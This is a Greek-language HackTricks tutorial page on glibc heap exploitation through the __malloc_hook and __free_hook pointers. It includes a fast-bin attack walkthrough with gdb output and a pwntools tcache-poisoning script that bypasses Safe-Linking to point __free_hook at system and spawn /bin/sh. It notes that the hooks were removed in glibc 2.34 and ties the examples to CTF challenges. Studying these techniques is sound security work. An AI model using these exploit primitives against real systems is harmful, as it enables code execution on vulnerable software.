WWW2Exec - __malloc_hook & __free_hook
Reading time: 7 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Malloc Hook
Όπως μπορείτε να δείτε στον Επίσημο ιστότοπο GNU, η μεταβλητή __malloc_hook
είναι ένας δείκτης που δείχνει στη διεύθυνση μιας συνάρτησης που θα καλείται όποτε καλείται το malloc()
αποθηκευμένη στην ενότητα δεδομένων της βιβλιοθήκης libc. Επομένως, αν αυτή η διεύθυνση αντικατασταθεί με ένα One Gadget για παράδειγμα και κληθεί το malloc
, θα κληθεί το One Gadget.
Για να καλέσετε το malloc, είναι δυνατόν να περιμένετε να το καλέσει το πρόγραμμα ή να **καλέσετε printf("%10000$c")** που δεσμεύει πάρα πολλά bytes κάνοντάς το
libc` να καλέσει το malloc για να τα δεσμεύσει στο heap.
Περισσότερες πληροφορίες σχετικά με το One Gadget στο:
warning
Σημειώστε ότι οι hooks είναι απενεργοποιημένες για GLIBC >= 2.34. Υπάρχουν άλλες τεχνικές που μπορούν να χρησιμοποιηθούν σε σύγχρονες εκδόσεις GLIBC. Δείτε: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
Free Hook
Αυτό εκμεταλλεύτηκε σε ένα από τα παραδείγματα της σελίδας εκμεταλλευόμενος μια επίθεση γρήγορης bin μετά από την εκμετάλλευση μιας επίθεσης unsorted bin:
Είναι δυνατόν να βρείτε τη διεύθυνση του __free_hook
αν το δυαδικό αρχείο έχει σύμβολα με την ακόλουθη εντολή:
gef➤ p &__free_hook
Στην ανάρτηση μπορείτε να βρείτε έναν οδηγό βήμα προς βήμα για το πώς να εντοπίσετε τη διεύθυνση του free hook χωρίς σύμβολα. Ως περίληψη, στη συνάρτηση free:
gef➤ x/20i free
0xf75dedc0 : push ebx
0xf75dedc1 : call 0xf768f625
0xf75dedc6 : add ebx,0x14323a
0xf75dedcc : sub esp,0x8
0xf75dedcf : mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10]
0xf75dedd9 : mov eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb : test eax,eax ;<
0xf75deddd : jne 0xf75dee50
Στο αναφερόμενο σημείο διακοπής στον προηγούμενο κώδικα, στο $eax
θα βρίσκεται η διεύθυνση του free hook.
Τώρα εκτελείται μια γρήγορη επίθεση bin:
- Πρώτα απ' όλα, ανακαλύπτεται ότι είναι δυνατό να εργαστούμε με γρήγορες chunks μεγέθους 200 στην τοποθεσία
__free_hook
: gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- Αν καταφέρουμε να αποκτήσουμε μια γρήγορη chunk μεγέθους 0x200 σε αυτή την τοποθεσία, θα είναι δυνατό να αντικαταστήσουμε έναν δείκτη συνάρτησης που θα εκτελείται
- Για αυτό, δημιουργείται μια νέα chunk μεγέθους
0xfc
και η συγχωνευμένη συνάρτηση καλείται με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε έναν δείκτη σε μια ελεύθερη chunk μεγέθους0xfc*2 = 0x1f8
στο γρήγορο bin. - Στη συνέχεια, καλείται η συνάρτηση επεξεργασίας σε αυτή τη chunk για να τροποποιήσει τη διεύθυνση
fd
αυτού του γρήγορου bin ώστε να δείχνει στην προηγούμενη συνάρτηση__free_hook
. - Στη συνέχεια, δημιουργείται μια chunk μεγέθους
0x1f8
για να ανακτηθεί από το γρήγορο bin η προηγούμενη άχρηστη chunk, ώστε να δημιουργηθεί άλλη μια chunk μεγέθους0x1f8
για να αποκτήσουμε μια γρήγορη chunk στο__free_hook
που αντικαθίσταται με τη διεύθυνση της συνάρτησηςsystem
. - Και τελικά, μια chunk που περιέχει τη συμβολοσειρά
/bin/sh\x00
απελευθερώνεται καλώντας τη συνάρτηση διαγραφής, ενεργοποιώντας τη συνάρτηση__free_hook
που δείχνει στη system με/bin/sh\x00
ως παράμετρο.
Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)
Η glibc 2.32 εισήγαγε το Safe-Linking – μια έλεγχο ακεραιότητας που προστατεύει τις μοναδικές συνδεδεμένες λίστες που χρησιμοποιούνται από tcache και γρήγορα bins. Αντί να αποθηκεύει έναν ακατέργαστο δείκτη προς τα εμπρός (fd
), το ptmalloc τώρα τον αποθηκεύει κρυπτογραφημένο με την παρακάτω μακροεντολή:
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
Συνέπειες για την εκμετάλλευση:
- Ένα heap leak είναι υποχρεωτικό – ο επιτιθέμενος πρέπει να γνωρίζει την τιμή χρόνου εκτέλεσης του
chunk_addr >> 12
για να δημιουργήσει έναν έγκυρο παραποιημένο δείκτη. - Μόνο ο πλήρης 8-byte δείκτης μπορεί να παραποιηθεί; οι μερικές υπεργραφές ενός byte δεν θα περάσουν τον έλεγχο.
Μια ελάχιστη primitive tcache-poisoning που υπεργράφει το __free_hook
σε glibc 2.32/2.33 φαίνεται λοιπόν ως εξής:
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
Το απόσπασμα παραπάνω προσαρμόστηκε από πρόσφατες προκλήσεις CTF όπως το UIUCTF 2024 – «Rusty Pointers» και το openECSC 2023 – «Babyheap G», και οι δύο οποίες βασίστηκαν σε παρακάμψεις Safe-Linking για να αντικαταστήσουν το __free_hook
.
Τι άλλαξε στη glibc ≥ 2.34;
Αρχής γενομένης από τη glibc 2.34 (Αύγουστος 2021), οι hooks κατανομής __malloc_hook
, __realloc_hook
, __memalign_hook
και __free_hook
αφαιρέθηκαν από το δημόσιο API και δεν καλούνται πλέον από τον αλγόριθμο κατανομής. Τα σύμβολα συμβατότητας εξακολουθούν να εξάγονται για παλαιά δυαδικά αρχεία, αλλά η αντικατάστασή τους δεν επηρεάζει πλέον τη ροή ελέγχου του malloc()
ή του free()
.
Πρακτική συνέπεια: σε σύγχρονες διανομές (Ubuntu 22.04+, Fedora 35+, Debian 12, κ.λπ.) πρέπει να στραφείτε σε άλλες μεθόδους hijack (IO-FILE, __run_exit_handlers
, vtable spraying, κ.λπ.) διότι οι αντικαταστάσεις hooks θα αποτύχουν σιωπηλά.
Αν χρειάζεστε ακόμα τη παλιά συμπεριφορά για αποσφαλμάτωση, η glibc παρέχει το libc_malloc_debug.so
το οποίο μπορεί να φορτωθεί εκ των προτέρων για να επανενεργοποιήσει τους παλαιούς hooks – αλλά η βιβλιοθήκη δεν προορίζεται για παραγωγή και μπορεί να εξαφανιστεί σε μελλοντικές εκδόσεις.
Αναφορές
- https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook
- https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
- Safe-Linking – Eliminating a 20 year-old malloc() exploit primitive (Check Point Research, 2020)
- glibc 2.34 release notes – removal of malloc hooks
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.